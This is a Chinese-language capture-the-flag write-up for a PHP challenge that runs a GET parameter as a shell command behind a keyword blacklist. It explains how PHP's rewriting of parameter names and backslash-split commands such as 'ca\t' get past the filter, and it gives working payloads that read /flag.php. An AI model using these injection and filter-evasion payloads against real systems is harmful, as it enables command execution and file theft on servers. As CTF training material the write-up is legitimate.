<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$url = $_SERVER['REQUEST_URI'];
# strpos(原始字符串, 要查找的字符, [开始查找的位置])
# 表示需要匹配到_
function checkUrlParams($params) {
if (strpos($params, '_') !== false) {
return false;
}
return true;
}
if(checkUrlParams($url)){
$cmd=$_GET['c_md'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("badly!");
} else {
echo `$cmd`;
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}
首先我们需要绕过checkUrlParams()函数,就是我们的url中不能出现_
但是GET用来传递的参数又是c_md那么我们就要想办法绕过
参数_符号的替代
我们可以使用下面3种情况来进行代替
?c.md=whoami
?c[md=whoami
?c%20md=whoami

因为空格(%20)、点号、左方括号,在 PHP 解析 GET/POST 参数名时,会被自动换成下划线 _
使用\拆分命令绕过正则
接下来就是绕过正则表达式
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("badly!");
} else {
echo `$cmd`;
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}
这里我们可以使用\拆分技巧
在linux中有一个规则:
反斜杠 \ + 普通字符 = 普通字符
那么就是说
c\at → cat
ca\t → cat
c\a\t → cat
但是这里有一个疑问,明明正则表达式是会过滤\为什么没有拦截
重点看这里
\\|\\\\|
这行在 PHP 里最终解析成:
只匹配:一个反斜杠 \
而我们传入的是
ca\t
这里的 \t 是 两个字符:\ + t
而不是单个\,因此绕过了正则表达式
通过下面的演示图就可以明显看到,正则表达式会把\s看成一起的从而绕过了正则表达式,但是在linux中又是支持\的写法的


然后我们直接读取/flag.php里面的内容
?c[md=ca\t%20/f\lag.php
flag在网页源代码中

或者使用tac命令也是可以的,flag会直接出现在网页上
疑问:为什么tac会直接输出flag到网页上



